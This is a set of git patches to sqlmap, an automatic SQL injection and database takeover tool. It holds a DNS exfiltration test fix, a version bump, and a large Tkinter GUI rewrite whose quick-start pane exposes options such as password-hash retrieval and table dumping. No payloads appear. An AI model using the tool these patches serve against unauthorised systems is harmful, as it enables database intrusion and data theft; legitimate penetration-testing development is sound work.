b/lib/request/connect.py index daa2a66ee9d..40c42390bfb 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1018,7 +1018,7 @@ def _read(count=None): if conn and getattr(conn, "redurl", None): _ = _urllib.parse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, count=1) if kb.resendPostOnRedirect is False: requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index bce8bff6a81..5eaf2c0a7cf 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -43,6 +43,7 @@ from lib.core.agent import agent from lib.core.common import Backend from lib.core.data import conf, kb +from lib.core.threads import getCurrentThreadData from lib.core.enums import DBMS from lib.core.exception import SqlmapNotVulnerableException from lib.core.settings import DNS_BOUNDARIES_ALPHABET @@ -89,7 +90,12 @@ class _DnsCase(unittest.TestCase): def setUpClass(cls): cls.server = _HighPortDNSServer() cls.server.run() + # bounded wait: never spin indefinitely if the in-process server fails to bind/init + # (e.g. a taken port on CI) - fail loudly instead of hanging the whole suite + deadline = time.time() + 10 while not cls.server._initialized: + if time.time() > deadline: + raise RuntimeError("in-process DNS test server failed to initialize within 10s") time.sleep(0.02) @classmethod @@ -107,6 +113,11 @@ def setUp(self): self._saved_randomInt = dnstestmod.randomInt self._saved_dnsServer = conf.get("dnsServer") self._saved_hdbR, self._saved_hdbW = dnsmod.hashDBRetrieve, dnsmod.hashDBWrite + # the DNS exfil path prints its own "[INFO] retrieved: ..." progress straight to stdout + # via dataToStdout() (it bypasses the logger, so the suite's log-level silencing can't + # catch it); suppress it through sqlmap's own per-thread stdout gate so the run stays clean + self._saved_disableStdOut = getCurrentThreadData().disableStdOut + getCurrentThreadData().disableStdOut = True for k, v in _CONF.items(): conf[k] = v for k, v in _KB.items(): @@ -125,6 +136,7 @@ def setUp(self): set_dbms(self.DBMS_NAME) def tearDown(self): + getCurrentThreadData().disableStdOut = self._saved_disableStdOut for k, v in self._saved_conf.items(): conf[k] = v for k, v in self._saved_kb.items(): From 0430f780ab2ce827b3d0fca126c9c36a6f3d7fcd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 10:57:52 +0200 Subject: [PATCH 613/853] Improving --gui and --tui --- data/txt/sha256sums.txt | 8 +- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 6 +- lib/utils/gui.py | 1326 ++++++++++++++++++++++++++++----------- lib/utils/tui.py | 331 +++++++--- 5 files changed, 1198 insertions(+), 475 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 772e791c8b5..b1e6dddf229 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c7a6dd94cf738716cc48f1daacdd402ddb0e78a6c9260233e319cde4f9054a60 lib/core/settings.py +a6e15ece62113241870feacc9cda691c64be9b849ce2df169b35ee695a517165 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -386065c4c40e07a10875d0b73b4ca2fb682c598e8d52b41d0b6b08d5c2c7b3c1 lib/parse/cmdline.py +6060d2d11fab39796b87ace30a872302f365dea3b14d24670915fdb9edc86011 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -249,7 +249,7 @@ da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/craw a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py -853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py +417029b70afe672f3121746a7909887aa996766c92547b4566c50343fff76131 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py @@ -264,7 +264,7 @@ de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/sear 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py -f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c lib/utils/tui.py +f19a6761284e689fca7d2e07120193f7b9c4f9c506ecaf87e82c2e97cca4db63 lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py b3c5109394f6c3cdd73a524a737b36cca7ecc56619f2a5f801eb1e7f1bfdb78b lib/utils/wafbypass.py 1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef lib/utils/xrange.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c25f9e0f6a3..2c3537f7ebf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.157" +VERSION = "1.10.6.158" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e0b2b5793bf..d35c61b958f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -443,7 +443,7 @@ def cmdLineParser(argv=None): help="Load second-order HTTP request from file") # Fingerprint options - fingerprint = parser.add_argument_group("Fingerprint") + fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint") fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") @@ -789,7 +789,7 @@ def cmdLineParser(argv=None): help="Disable hash analysis on table dumps") miscellaneous.add_argument("--gui", dest="gui", action="store_true", - help="Experimental Tkinter GUI") + help="Graphical user interface (Tkinter)") miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") @@ -816,7 +816,7 @@ def cmdLineParser(argv=None): help="Local directory for storing temporary files") miscellaneous.add_argument("--tui", dest="tui", action="store_true", - help="Experimental ncurses TUI") + help="Textual user interface (ncurses)") miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", help="Adjust options for unstable connections") diff --git a/lib/utils/gui.py b/lib/utils/gui.py index 3e3500bc507..ed6dd13b329 100644 --- a/lib/utils/gui.py +++ b/lib/utils/gui.py @@ -6,8 +6,6 @@ """ import os -import re -import socket import subprocess import sys import tempfile @@ -30,397 +28,989 @@ from lib.core.settings import WIKI_PAGE from thirdparty.six.moves import queue as _queue -alive = None -line = "" -process = None -queue = None +# Classic Windows (NT/9x) palette: silver 3D face, navy title/selection, white sunken fields, +# black text, and saturated VGA-style accents for the icons (presentation only) +PALETTE = { + "base": "#c0c0c0", # window / control face (silver) + "mantle": "#c0c0c0", # bars (classic is uniform gray, separated by bevels) + "crust": "#ffffff", # console / edit background + "surface0": "#ffffff", # field (edit) background + "surface1": "#808080", # 3D shadow + "surface2": "#dfdfdf", # 3D light (soft) + "light": "#ffffff", # 3D highlight + "dark": "#404040", # 3D dark shadow + "text": "#000000", + "subtext": "#000000", + "overlay": "#404040", + "title2": "#1084d0", # active title-bar gradient end + "blue": "#000080", # navy: title, selection, accents + "sapphire": "#0050b0", + "sky": "#0070c0", + "green": "#008000", + "teal": "#008080", + "red": "#c00000", + "maroon": "#800000", + "mauve": "#9000a8", + "pink": "#c000b0", + "peach": "#c06000", + "yellow": "#c08000", + "lavender": "#4858c0", + "flamingo": "#c04070", + "gold": "#e0a800", +} + +# a distinct accent color per section, so the sidebar icons read as a colorful, scannable set +ICON_COLORS = { + "Quick start": "yellow", + "Target": "red", + "Request": "sapphire", + "Optimization": "teal", + "Injection": "mauve", + "Detection": "sky", + "Techniques": "maroon", + "Fingerprint": "lavender", + "Enumeration": "green", + "Brute force": "peach", + "User-defined function injection": "pink", + "File system access": "gold", + "Operating system access": "blue", + "Windows registry access": "sapphire", + "General": "teal", + "Miscellaneous": "overlay", +} + +# Options surfaced on the curated "Quick start" pane (by destination), in display order +QUICK_START_DESTS = ( + "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short, readable sidebar labels for the (sometimes verbose) option-group titles +NAV_ALIASES = { + "User-defined function injection": "UDF injection", + "Operating system access": "OS access", + "Windows registry access": "Windows registry", + "File system access": "File system", +} + +TARGET_PLACEHOLDER = "http://www.target.com/vuln.php?id=1" + +HINT_DEFAULT = "Hover or focus a field to see what it does." + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): # argparse + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optChoices(option): + return getattr(option, "choices", None) + +def _optTakesValue(option): + if hasattr(option, "takes_value"): # optparse Option + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 # argparse: store_true/false has nargs 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + +def _optionLabel(option): + return ", ".join(_optStrings(option)) or (_optDest(option) or "") + +class _Tooltip(object): + """Lightweight hover tooltip for a widget""" + + def __init__(self, widget, text, tk, palette): + self._widget = widget + self._text = text + self._tk = tk + self._palette = palette + self._tip = None + widget.bind("", self._show, add="+") + widget.bind("", self._hide, add="+") + widget.bind("", self._hide, add="+") + + def _show(self, event=None): + if self._tip or not self._text: + return + x = self._widget.winfo_rootx() + 18 + y = self._widget.winfo_rooty() + self._widget.winfo_height() + 6 + self._tip = tw = self._tk.Toplevel(self._widget) + tw.wm_overrideredirect(True) + tw.wm_geometry("+%d+%d" % (x, y)) + self._tk.Label(tw, text=self._text, justify="left", background=self._palette["surface0"], + foreground=self._palette["text"], relief="flat", borderwidth=0, + wraplength=460, padx=10, pady=7).pack() + + def _hide(self, event=None): + if self._tip: + self._tip.destroy() + self._tip = None + +class SqlmapGui(object): + def __init__(self, parser, tk, ttk, scrolledtext, messagebox, filedialog, font): + self.parser = parser + self.tk = tk + self.ttk = ttk + self.scrolledtext = scrolledtext + self.messagebox = messagebox + self.filedialog = filedialog + self.font = font + + self.widgets = {} # dest -> (type, shared Tk variable) + self.vars = {} # dest -> shared Tk variable (one per option, bound to every widget for it) + self.optionByDest = {} + for group in _parserGroups(parser): + for option in _groupOptions(group): + if _optDest(option): + self.optionByDest[_optDest(option)] = option + + self.panes = {} # name -> outer frame + self.navItems = {} # name -> (row frame, accent strip, icon canvas, label) + self.canvases = {} # name -> canvas (for wheel binding) + self.inners = {} # name -> scrollable inner frame (populated lazily) + self.builders = {} # name -> callable that populates the inner frame + self.built = set() # names whose content has been built + self.paneOrder = [] # nav order, for Up/Down navigation + self.currentPane = None + self.process = None + self.alive = False + self.queue = None + + try: + self.window = tk.Tk() + except Exception as ex: + raise SqlmapSystemException("unable to create GUI window ('%s')" % getSafeExString(ex)) + + self._initFonts() + self._initStyle() + self._buildLayout() + + def _initFonts(self): + family = self.font.nametofont("TkDefaultFont").actual("family") + self.fonts = { + "body": (family, 10), + "bodyBold": (family, 10, "bold"), + "small": (family, 9), + "nav": (family, 10), + "title": (family, 18, "bold"), + "subtitle": (family, 9), + "mono": (self.font.nametofont("TkFixedFont").actual("family"), 10), + } + + def _initStyle(self): + p = PALETTE + face, light, light2, shadow, dark = p["base"], p["light"], p["surface2"], p["surface1"], p["dark"] + navy, white, black, field = p["blue"], "#ffffff", p["text"], p["surface0"] + style = self.ttk.Style() + if "clam" in style.theme_names(): + style.theme_use("clam") + + style.configure(".", background=face, foreground=black, fieldbackground=field, + bordercolor=shadow, lightcolor=light, darkcolor=shadow, + troughcolor=face, focuscolor=face, insertcolor=black, font=self.fonts["body"]) + + for name in ("TFrame", "Bar.TFrame", "Nav.TFrame", "Card.TFrame"): + style.configure(name, background=face) + + style.configure("TLabel", background=face, foreground=black) + style.configure("Title.TLabel", background=navy, foreground=white, font=self.fonts["title"]) + style.configure("Subtitle.TLabel", background=navy, foreground=white, font=self.fonts["subtitle"]) + style.configure("Hint.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Field.TLabel", background=face, foreground=black) + style.configure("Desc.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Pane.TLabel", background=face, foreground=navy, font=self.fonts["title"]) + style.configure("Stat.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Prompt.TLabel", background=field, foreground=black, font=self.fonts["mono"]) + + # classic raised 3D push button + style.configure("TButton", background=face, foreground=black, relief="raised", borderwidth=2, + lightcolor=light, darkcolor=dark, bordercolor=shadow, focuscolor=black, padding=(12, 4)) + style.map("TButton", background=[("active", face)], relief=[("pressed", "sunken")]) + + # sunken white edit fields + for name in ("TEntry", "Target.TEntry"): + style.configure(name, fieldbackground=field, foreground=black, relief="sunken", borderwidth=2, + bordercolor=shadow, lightcolor=shadow, darkcolor=light, insertcolor=black, padding=4) + + style.configure("TCheckbutton", background=face, foreground=black, focuscolor=face, padding=2, + indicatorbackground=field, indicatorforeground=black, indicatorrelief="sunken", indicatorborderwidth=2, + bordercolor=shadow, lightcolor=shadow, darkcolor=light) + style.map("TCheckbutton", background=[("active", face)], indicatorbackground=[("active", field), ("selected", field)]) + + style.configure("TCombobox", fieldbackground=field, background=face, foreground=black, arrowcolor=black, + relief="sunken", borderwidth=2, bordercolor=shadow, lightcolor=shadow, darkcolor=light, padding=3) + + # classic chunky scrollbar (raised gray thumb, light trough) + style.configure("Vertical.TScrollbar", background=face, troughcolor=light2, bordercolor=shadow, + lightcolor=light, darkcolor=dark, arrowcolor=black, relief="raised", width=17) + style.map("Vertical.TScrollbar", background=[("active", face)]) + + self.window.configure(background=face) + + # --- layout --------------------------------------------------------- + + def _buildLayout(self): + tk = self.tk + self.window.title("sqlmap") + self.window.minsize(960, 680) + self._buildMenu() + self._buildHeader() + + target = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 12, 20, 14)) + target.pack(fill=tk.X) + labelRow = self.ttk.Frame(target, style="Bar.TFrame") + labelRow.pack(fill=tk.X, pady=(0, 4)) + self.ttk.Label(labelRow, text="TARGET URL", style="Hint.TLabel").pack(side=tk.LEFT) + self.ttk.Label(labelRow, text=" e.g. %s" % TARGET_PLACEHOLDER, style="Stat.TLabel").pack(side=tk.LEFT) + urlVar = self._destVar("url", False) + self.targetEntry = self.ttk.Entry(target, style="Target.TEntry", textvariable=urlVar) + self.targetEntry.pack(fill=tk.X, ipady=2) + self.widgets["url"] = ("string", urlVar) + + body = self.ttk.Frame(self.window, style="TFrame") + body.pack(expand=True, fill=tk.BOTH) + + navHolder = self.ttk.Frame(body, style="Nav.TFrame", width=202) + navHolder.pack(side=tk.LEFT, fill=tk.Y) + navHolder.pack_propagate(False) + self.navCanvas = tk.Canvas(navHolder, background=PALETTE["mantle"], highlightthickness=0, borderwidth=0) + navScroll = self.ttk.Scrollbar(navHolder, orient="vertical", command=self.navCanvas.yview, style="Vertical.TScrollbar") + self.nav = self.ttk.Frame(self.navCanvas, style="Nav.TFrame") + self.nav.bind("", lambda e: self.navCanvas.configure(scrollregion=self.navCanvas.bbox("all"))) + navWin = self.navCanvas.create_window((0, 0), window=self.nav, anchor="nw") + self.navCanvas.bind("", lambda e: self.navCanvas.itemconfigure(navWin, width=e.width)) + self.navCanvas.configure(yscrollcommand=navScroll.set) + self.navCanvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) + navScroll.pack(side=tk.RIGHT, fill=tk.Y) + + tk.Frame(body, background=PALETTE["surface1"], width=1).pack(side=tk.LEFT, fill=tk.Y) + + self.content = self.ttk.Frame(body, style="Card.TFrame") + self.content.pack(side=tk.LEFT, expand=True, fill=tk.BOTH) + + cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 8)) + cmdBar.pack(fill=tk.X) + self.ttk.Label(cmdBar, text="Command:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + self.command = tk.StringVar(value="sqlmap.py") + cmdEntry = tk.Entry(cmdBar, textvariable=self.command, font=self.fonts["mono"], + bg="#ffffff", fg=PALETTE["blue"], readonlybackground="#ffffff", + disabledforeground=PALETTE["blue"], relief="sunken", borderwidth=2, + highlightthickness=0, state="readonly") + cmdEntry.pack(side=tk.LEFT, fill=tk.X, expand=True) + + hintBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 9)) + hintBar.pack(fill=tk.X) + self.stat = tk.StringVar(value="") + self.ttk.Label(hintBar, textvariable=self.stat, style="Stat.TLabel", anchor="e").pack(side=tk.RIGHT, padx=(12, 0)) + self.hint = tk.StringVar(value=HINT_DEFAULT) + self.ttk.Label(hintBar, textvariable=self.hint, style="Hint.TLabel", anchor="w").pack(side=tk.LEFT, fill=tk.X, expand=True) + + self._buildQuickStartPane() + for group in _parserGroups(self.parser): + self._buildGroupPane(group) + + self._selectPane("Quick start") + self.window.bind("", lambda e: self._navKey(1)) + self.window.bind("", lambda e: self._navKey(-1)) + for seq in ("", "", ""): + self.window.bind_all(seq, self._onWheel) + self._enableSelectAll() + self._tickStats() + self._prebuildPanes() + self._center(self.window, 1000, 720) + + def _prebuildPanes(self): + # Tk isn't thread-safe, so widgets must be built on the main thread; instead of blocking, + # build the not-yet-visited panes one per idle tick so they are ready (instant) by the time + # the user navigates to them, while the UI stays responsive (on-demand build is the fallback) + pending = [_ for _ in self.paneOrder if _ not in self.built] + + def step(): + while pending and pending[0] in self.built: + pending.pop(0) + if not pending: + return + name = pending.pop(0) + try: + self.builders[name](self.inners[name]) + self.built.add(name) + except Exception: + pass + if pending: + self.window.after(30, step) + + self.window.after(250, step) + + def _enableSelectAll(self): + # Tk binds Ctrl-A to "cursor to line start" by default; rebind it to select-all, + # which is what users expect (covers entries, comboboxes and the console text widget) + def selectEntry(event): + try: + event.widget.select_range(0, "end") + event.widget.icursor("end") + except Exception: + pass + return "break" -def runGui(parser): - try: - from thirdparty.six.moves import tkinter as _tkinter - from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext - from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk - from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox - except ImportError as ex: - raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) + def selectText(event): + try: + event.widget.tag_add("sel", "1.0", "end-1c") + except Exception: + pass + return "break" - # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x - class ConstrainedEntry(_tkinter.Entry): - def __init__(self, master=None, **kwargs): - self.var = _tkinter.StringVar() - self.regex = kwargs["regex"] - del kwargs["regex"] - _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) - self.old_value = '' - self.var.trace('w', self.check) - self.get, self.set = self.var.get, self.var.set - - def check(self, *args): - if re.search(self.regex, self.get()): - self.old_value = self.get() + for cls in ("TEntry", "Entry", "TCombobox"): + self.window.bind_class(cls, "", selectEntry) + self.window.bind_class(cls, "", selectEntry) + for seq in ("", ""): + self.window.bind_class("Text", seq, selectText) + + def _buildMenu(self): + p = PALETTE + menubar = self.tk.Menu(self.window, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"], borderwidth=0) + filemenu = self.tk.Menu(menubar, tearoff=0, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"]) + filemenu.add_command(label="Load configuration...", command=self.loadConfig) + filemenu.add_command(label="Save configuration...", command=self.saveConfigDialog) + filemenu.add_separator() + filemenu.add_command(label="Exit", command=self.window.quit) + menubar.add_cascade(label="File", menu=filemenu) + menubar.add_command(label="Run", command=self.run) + helpmenu = self.tk.Menu(menubar, tearoff=0, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"]) + helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) + helpmenu.add_command(label="GitHub", command=lambda: webbrowser.open(GIT_PAGE)) + helpmenu.add_command(label="Wiki", command=lambda: webbrowser.open(WIKI_PAGE)) + helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) + helpmenu.add_separator() + helpmenu.add_command(label="About", command=lambda: self.messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) + menubar.add_cascade(label="Help", menu=helpmenu) + self.window.config(menu=menubar) + + def _buildHeader(self): + self._runHover = False + self.header = self.tk.Canvas(self.window, height=76, highlightthickness=0, borderwidth=0, background=PALETTE["base"]) + self.header.pack(fill=self.tk.X) + self.header.bind("", lambda e: self._drawHeader()) + + def _interp(self, color1, color2, ratio): + a = [int(color1[_:_ + 2], 16) for _ in (1, 3, 5)] + b = [int(color2[_:_ + 2], 16) for _ in (1, 3, 5)] + return "#%02x%02x%02x" % tuple(int(a[_] + (b[_] - a[_]) * ratio) for _ in range(3)) + + def _drawHeader(self): + p = PALETTE + c = self.header + c.delete("all") + width = c.winfo_width() + height = 76 + steps = max(1, width // 4) + for i in range(steps): + c.create_rectangle(i * width / steps, 0, (i + 1) * width / steps + 1, height, + outline="", fill=self._interp(p["blue"], p["title2"], i / float(steps))) + c.create_text(24, 27, text="sqlmap", anchor="w", fill="#ffffff", font=self.fonts["title"]) + c.create_text(122, 31, text=VERSION_STRING.replace("sqlmap/", "v"), anchor="w", fill="#c7d8ef", font=self.fonts["subtitle"]) + c.create_text(24, 54, text="automatic SQL injection and database takeover tool", anchor="w", fill="#dfe8f6", font=self.fonts["small"]) + self._drawRunButton(width, height) + + def _drawRunButton(self, width, height): + p = PALETTE + c = self.header + bw, bh = 116, 34 + x0 = width - bw - 22 + y0 = (height - bh) // 2 + x1, y1 = x0 + bw, y0 + bh + c.create_rectangle(x0, y0, x1, y1, fill=p["base"], outline="", tags=("runbtn", "runpill")) + # classic raised 3D bevel (white top/left, dark bottom/right) + c.create_line(x0, y0, x1, y0, fill="#ffffff", tags="runbtn") + c.create_line(x0, y0, x0, y1, fill="#ffffff", tags="runbtn") + c.create_line(x0, y1, x1, y1, fill=p["dark"], tags="runbtn") + c.create_line(x1, y0, x1, y1 + 1, fill=p["dark"], tags="runbtn") + c.create_line(x0 + 1, y1 - 1, x1 - 1, y1 - 1, fill=p["surface1"], tags="runbtn") + c.create_line(x1 - 1, y0 + 1, x1 - 1, y1 - 1, fill=p["surface1"], tags="runbtn") + cy = (y0 + y1) // 2 + tx = x0 + 24 + c.create_polygon(tx, cy - 6, tx, cy + 6, tx + 10, cy, fill=p["blue"], outline="", tags=("runbtn", "runico")) + c.create_text((x0 + x1) // 2 + 8, cy, text="Run", fill=p["text"], font=self.fonts["bodyBold"], tags=("runbtn", "runico")) + c.tag_bind("runbtn", "", lambda e: self.run()) + c.tag_bind("runbtn", "", lambda e: self._hoverRun(True)) + c.tag_bind("runbtn", "", lambda e: self._hoverRun(False)) + + def _hoverRun(self, on): + self._runHover = on + self.header.itemconfigure("runpill", fill="#ccccc6" if on else PALETTE["base"]) + try: + self.header.configure(cursor="hand2" if on else "") + except Exception: + pass + + def _drawIcon(self, c, name, col): + # minimal line-art icons, drawn as vectors so they render everywhere and need no assets + c.delete("all") + + def line(*pts, **kw): + c.create_line(*pts, fill=col, width=2, capstyle="round", joinstyle="round", **kw) + + def oval(x0, y0, x1, y1, filled=False): + c.create_oval(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def rect(x0, y0, x1, y1, filled=False): + c.create_rectangle(x0, y0, x1, y1, outline=col, width=2, fill=(col if filled else "")) + + def poly(*pts): + c.create_polygon(*pts, fill=col, outline="") + + def arc(x0, y0, x1, y1, start, extent): + c.create_arc(x0, y0, x1, y1, start=start, extent=extent, outline=col, width=2, style="arc") + + def dot(x, y, r=2): + c.create_oval(x - r, y - r, x + r, y + r, fill=col, outline="") + + def glyph(text, size=11): + c.create_text(11, 11, text=text, fill=col, font=(self.fonts["bodyBold"][0], size, "bold")) + + if name == "Quick start": + poly(12, 3, 6, 12, 10, 12, 9, 19, 16, 9, 11, 9) + elif name == "Target": + oval(4, 4, 18, 18) + dot(11, 11, 2) + elif name == "Request": + line(4, 8, 17, 8, arrow="last") + line(18, 14, 5, 14, arrow="last") + elif name == "Optimization": + arc(4, 6, 18, 20, 0, 180) + line(11, 13, 15, 8) + elif name == "Injection": + # syringe: thumb rest + plunger rod + flange + barrel + needle (no arrowhead, so it reads as a needle not a cross) + line(9, 2, 13, 2) + line(11, 2, 11, 5) + line(6, 5, 16, 5) + rect(8, 5, 14, 14) + line(11, 14, 11, 20) + elif name == "Detection": + oval(4, 4, 13, 13) + line(12, 12, 18, 18) + elif name == "Techniques": + oval(7, 7, 15, 15) + line(11, 2, 11, 6) + line(11, 16, 11, 20) + line(2, 11, 6, 11) + line(16, 11, 20, 11) + elif name == "Fingerprint": + # tightly nested tall loops with the gap at the bottom (fingertip ridges), plus a central core + arc(3, 1, 19, 21, 285, 330) + arc(5, 4, 17, 18, 285, 330) + arc(7, 7, 15, 15, 285, 330) + arc(9, 10, 13, 12, 285, 330) + elif name == "Enumeration": + oval(4, 3, 18, 7) + line(4, 5, 4, 16) + line(18, 5, 18, 16) + arc(4, 12, 18, 18, 180, 180) + elif name == "Brute force": + oval(3, 7, 11, 15) + line(9, 11, 19, 11) + line(16, 11, 16, 15) + line(19, 11, 19, 14) + elif name == "User-defined function injection": + glyph("fx", 11) + elif name == "File system access": + poly(3, 7, 8, 7, 10, 9, 19, 9, 19, 17, 3, 17) + elif name == "Operating system access": + rect(3, 5, 19, 17) + line(6, 9, 9, 11) + line(6, 13, 9, 13) + elif name == "Windows registry access": + # the waving Windows flag (4 slanted panes) rather than a plain 2x2 grid + poly(4, 6, 10, 5, 10, 11, 4, 12) + poly(12, 5, 18, 4, 18, 10, 12, 11) + poly(4, 13, 10, 12, 10, 18, 4, 19) + poly(12, 12, 18, 11, 18, 17, 12, 18) + elif name == "General": + line(4, 6, 18, 6) + dot(14, 6) + line(4, 11, 18, 11) + dot(8, 11) + line(4, 16, 18, 16) + dot(13, 16) + elif name == "Miscellaneous": + dot(5, 11) + dot(11, 11) + dot(17, 11) + else: + dot(11, 11, 3) + + def _addPane(self, name, navText): + p = PALETTE + tk = self.tk + row = tk.Frame(self.nav, background=p["mantle"]) + row.pack(fill=tk.X) + strip = tk.Frame(row, 